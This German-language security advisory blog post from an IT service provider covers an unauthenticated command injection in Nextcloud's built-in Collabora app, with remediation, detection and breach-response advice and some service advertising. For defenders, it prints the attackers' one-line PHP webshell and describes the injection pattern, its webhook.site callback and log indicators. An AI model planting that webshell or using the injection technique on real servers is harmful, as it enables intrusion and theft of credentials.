Nextcloud Built-in CODE Server: Command Injection ohne Login (CVE-2026-110447), Update auf 26.4.303 oder App entfernen

Nextcloud betreiben lassen: Updates und CVE-Monitoring statt Zufallsfund - WZ-IT prüft Versionen, Protokolle und Dateisystem Ihrer Nextcloud und begleitet Update, Bereinigung und Umstellung auf einen eigenen Collabora-Server. Auch bei einem Verdacht auf Kompromittierung. Erstgespräch buchen · Nextcloud-Betrieb · Server-Audit

Eine Nextcloud mit der App Collabora Online - Built-in CODE Server (richdocumentscode) in Version 26.4.302 oder älter lässt sich ohne Anmeldung zur Ausführung von Betriebssystembefehlen bringen. Die Lücke trägt die Kennung CVE-2026-110447 (CVSS 4.0: 9.2), wird seit September 2026 ausgenutzt, und auf kompromittierten Servern wurden Webshells unter apps/richdocumentscode/shx*.php gefunden. Die Lösung ist eindeutig: auf 26.4.303 oder neuer aktualisieren oder die App entfernen. Deaktivieren reicht nicht. Ein separat betriebener Collabora-Server ist nicht betroffen.

Dieser Beitrag ordnet ein, wer betroffen ist, wie der Angriff abläuft, was sofort zu prüfen ist und warum zwischen Patch und CVE-Nummer 33 Tage lagen.

Inhaltsverzeichnis

• Kurz beantwortet
• Wer betroffen ist
• So funktioniert der Angriff
• Zeitleiste
• Was jetzt zu tun ist
• Bei Fund: von einer Kompromittierung ausgehen
• Langfristig: ein separater Collabora-Server
• Patch ohne Advisory: was daraus folgt
• Verbreitete Fehlannahmen
• Stand und Methodik
• Unser Vorgehen bei WZ-IT
• Weiterführende Guides

Kurz beantwortet

Wer betroffen ist

Betroffen ist ausschließlich die Nextcloud-App Collabora Online - Built-in CODE Server. Sie bringt einen Collabora-Server als AppImage mit und startet ihn aus PHP, damit ohne zusätzlichen Dienst in Nextcloud Dokumente bearbeitet werden können. Die Projektbeschreibung nennt sie leicht zu installieren, für persönlichen Einsatz oder kleine Teams, etwas langsamer als einen eigenständigen Server und ohne dessen Skalierungsfunktionen.

Die App verlangt seit Version 26.4.302 Nextcloud 30 oder neuer. Für Nextcloud 29 und älter gilt laut Advisory: Nextcloud aktualisieren oder die App entfernen.

So funktioniert der Angriff

Die App startet den Collabora-Server bei Bedarf aus proxy.php mit einer Befehlszeile. In diese Befehlszeile geht unter anderem die Adresse der Schriftenkonfiguration ein, die sich aus dem Host und der angefragten URL ableitet. Laut Advisory lässt sich dadurch ein Betriebssystembefehl einschleusen, der als Benutzer des Webservers läuft. Das gelingt nur, solange der eingebaute Server nicht läuft, also nach einem Neustart des Containers, einem Update oder einem Absturz.

Der Code-Diff von 26.4.302 zu 26.4.303 zeigt die Ursache: Die Schriftenkonfigurations-URL und der Host wurden mit escapeshellarg gequotet, der Gesamtbefehl aber in einen bash -c-String in doppelten Anführungszeichen eingesetzt. In doppelten Anführungszeichen wertet die Shell $(...) aus. Ab 26.4.303 wird der gesamte innere Befehl mit escapeshellarg gequotet.

Der erste Bericht im GitHub-Issue 354 beschreibt die beobachteten Anfragen:

• Ziel ist /apps/richdocumentscode/proxy.php?status.
• Der Pfad enthält %2e%2e (Path Traversal), $(...) (Command Substitution) und ${IFS} zur Verschleierung von Leerzeichen.
• Ein Base64-kodierter Befehl wird per sh ausgeführt. Er legt eine PHP-Datei shx*.php an und ruft eine Adresse bei webhook.site auf.
• Die Webshell besteht aus einer Zeile: <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');
• Auf einem betroffenen System suchte der Angreifer anschließend nach Dateien wie *.kdbx, wallet.dat, keystore.json und Bitwarden-, 1Password- und Kryptowährungs-Verzeichnissen. Der Bericht fand keine Befehle zum Hochladen von Dateien, hält aber fest, dass eine Webshell mit den Rechten des Webserver-Kontos arbeitet.

Zeitleiste

Was jetzt zu tun ist

1. Version prüfen. In der Nextcloud-Apps-Verwaltung oder über occ app:list nachsehen, ob richdocumentscode installiert ist und in welcher Version.
2. Aktualisieren oder entfernen. Version 26.4.303 oder neuer einspielen, oder die App deinstallieren, wenn ein separater Collabora-Server genutzt wird oder werden soll. Nach dem Entfernen prüfen, dass das Verzeichnis apps/richdocumentscode verschwunden ist. Nur Deaktivieren genügt nicht, weil die Dateien erreichbar bleiben.
3. Nach Webshells suchen. Im Verzeichnis apps/richdocumentscode (oder dem konfigurierten App-Verzeichnis) nach Dateien shx*.php (im Bericht auch shrf4645.php) und nach unbekannten PHP-Dateien in den App-Verzeichnissen suchen.
4. Integrität prüfen. occ integrity:check-app richdocumentscode meldet zusätzliche Dateien in der signierten App (EXTRA_FILE); occ integrity:check-core prüft nur den Core. Ein Betreiber im Issue bemerkte den Angriff so.
5. Protokolle prüfen. In den Webserver-Zugriffsprotokollen nach Anfragen an proxy.php suchen, die %2e%2e, $( bzw. %24%28 oder ${IFS} enthalten.
6. Verbliebene Dateien löschen. Auch nach dem Update die Dateien shx*.php entfernen, falls vorhanden.

Bei Fund: von einer Kompromittierung ausgehen

Eine Webshell arbeitet mit den Rechten des Webserver-Benutzers, sobald sie aufgerufen wird. Ein Dateifund beweist weder einen Aufruf noch das Ausmaß; was der Benutzer lesen und schreiben darf, hängt von der Konfiguration ab. Vorsorglich ist von einer Kompromittierung auszugehen. Praktisch bedeutet das:

• Zugangsdaten rotieren, die für den Webserver-Benutzer lesbar waren: Datenbankpasswort, die geheimen Werte in config.php, Objektspeicher-Schlüssel, SMTP-Zugang, App-Passwörter und Tokens.
• Ausgehende Verbindungen des Servers und neu angelegte Dateien und Benutzer prüfen.
• Die Instanz aus einem Stand wiederherstellen, der vor dem ersten Angriff liegt, oder die Bereinigung dokumentiert und von Dritten prüfen lassen.
• Prüfen, ob Meldepflichten bestehen: Nach Art. 33 der DSGVO meldet der Verantwortliche eine Verletzung des Schutzes personenbezogener Daten unverzüglich und möglichst binnen 72 Stunden nach Bekanntwerden der Aufsichtsbehörde, außer sie führt voraussichtlich nicht zu einem Risiko; ein Auftragsverarbeiter meldet dem Verantwortlichen unverzüglich. Nach Art. 34 sind betroffene Personen unverzüglich zu benachrichtigen, wenn voraussichtlich ein hohes Risiko besteht, mit Ausnahmen etwa bei wirksamen Schutzmaßnahmen oder nachträglicher Risikobeseitigung. Die Hinweise des EDSA ordnen das ein. Ob das im Einzelfall zutrifft, entscheidet dieser Beitrag nicht.

Langfristig: ein separater Collabora-Server

Die Nextcloud-Dokumentation nennt Collabora Online als selbst gehosteten Server oder als eingebaute App. Der eingebaute Server startet aus PHP und läuft im Konto des Webservers. Ein separat betriebener Server, etwa im Docker-Container hinter einem Reverse Proxy, ist laut Advisory nicht betroffen, weil dieser verwundbare Startpfad aus PHP entfällt. Das Installationsbeispiel mit Docker beschreibt den Aufbau. Die Projektbeschreibung nennt den eingebauten Server langsamer und ohne die fortgeschrittenen Skalierungsfunktionen eines eigenständigen Servers.

Patch ohne Advisory: was daraus folgt

Der Fix erschien am 11. September 2026. Die Änderungsliste von 26.4.303 nennt nur die neue AppImage-Version, einen Sicherheitshinweis enthält sie nicht. Das CVE kam 33 Tage später. Daraus folgen zwei Dinge:

• Wer nur auf CVE-Meldungen reagiert, wurde in diesem Zeitraum nicht gewarnt, obwohl der Patch öffentlich war und Betreiber im Issue und im Forum warnten. App-Updates sollten deshalb unabhängig von Sicherheitsmeldungen eingespielt werden.
• Wer nur das Nextcloud-Core-Update im Blick hat, übersieht Apps, die eigene Binärdateien und eigene Startskripte mitbringen. richdocumentscode ist ein solcher Fall: Die App startet ein AppImage aus PHP.

Verbreitete Fehlannahmen

• „Die App ist deaktiviert, also bin ich sicher." Nein. Das Advisory sagt ausdrücklich, dass Deaktivieren nicht genügt. Die Dateien bleiben im Verzeichnis und sind erreichbar.
• „Dafür braucht man ein Konto." Nein. Die Lücke ist ohne Anmeldung ausnutzbar.
• „Collabora ist betroffen." Nein. Betroffen ist die Nextcloud-App, die den eingebauten Server startet. Eigenständige Collabora-Server sind es nicht.
• „Das Update hat die Webshell entfernt." Nein. Das Update behebt die Lücke, garantiert aber keine Bereinigung; vorhandene Dateien und weitere Persistenz sind gesondert zu prüfen.
• „Es passiert nur bei Neustart, also nur selten." Neustart, Update oder Absturz öffnen das Zeitfenster. Betreiber meldeten Treffer auf mehreren Servern; wie oft das Fenster auftritt, hängt vom Betrieb ab.

Stand und Methodik

Stand 16. Oktober 2026. Die Angaben stammen aus dem GitHub-Advisory, der NVD-Eintrag trägt zum Abrufzeitpunkt den Status „Received", also noch ohne eigene NVD-Bewertung; die CVSS-Angabe stammt vom CNA. Dazu kommen das Issue 354 im App-Repository, der Code-Diff von 26.4.302 zu 26.4.303, die Release-Liste der App und die Nextcloud-Dokumentation. Die technische Ursache beruht auf dem öffentlichen Code-Diff. Die Zahl der betroffenen Systeme ist nicht belegt.

Unser Vorgehen bei WZ-IT

• Prüfung: Wir stellen Version, Zugriffsprotokolle und Dateisystem der Nextcloud fest, suchen nach shx*.php und zusätzlichen Dateien und führen den Integritätscheck aus.
• Beheben: Update auf 26.4.303 oder neuer, oder Entfernen der App und Umstellung auf einen separat betriebenen Collabora-Server.
• Bei Fund: Wir grenzen den Befund ein, empfehlen die Rotation der Zugangsdaten und stellen die Instanz aus einem sauberen Stand wieder her.
• Betrieb: Im Nextcloud-Betrieb gehören Updates, Backups und das CVE-Monitoring dazu; das Server-Audit prüft bestehende Instanzen einmalig.

Weiterführende Guides

• Nextcloud 35 Update: Upgradepfad von 32, PHP und Datenbank
• Warum Unternehmen CVE-Monitoring brauchen
• Nextcloud, Seafile, OpenCloud oder ownCloud: wem gehört Ihre Dateiablage
• Nextcloud-Betrieb durch WZ-IT
• CVE-Monitoring

Nextcloud prüfen, bevor es ein anderer tut: Wir untersuchen Version, Protokolle und Dateisystem Ihrer Instanz, entfernen die verwundbare App und stellen auf einen eigenen Collabora-Server um. Erstgespräch buchen

Quellen

• NVD: CVE-2026-110447
• GitHub-Advisory GHSA-g3vx-3m76-fghh: Unauthenticated OS command injection in the richdocumentscode proxy
• GitHub-Advisory GHSA-f97p-r72q-64h2
• GitHub: richdocumentscode, Issue 354 "Security issue - Hack"
• GitHub: richdocumentscode, Vergleich 26.4.302 zu 26.4.303
• GitHub: richdocumentscode, Releases und Changelog
• Nextcloud-Forum: To Collabora Built-in User: Update ASAP
• Nextcloud App Store: Collabora Online - Built-in CODE Server
• Nextcloud-Dokumentation: Office
• Nextcloud-Dokumentation: Collabora Online mit Docker
• Nextcloud-Dokumentation: Integritätsprüfung (Code Signing)
• EUR-Lex: Verordnung (EU) 2016/679 (DSGVO), Art. 33 und 34
• EDSA: Datenschutzverletzungen und Risikobewertung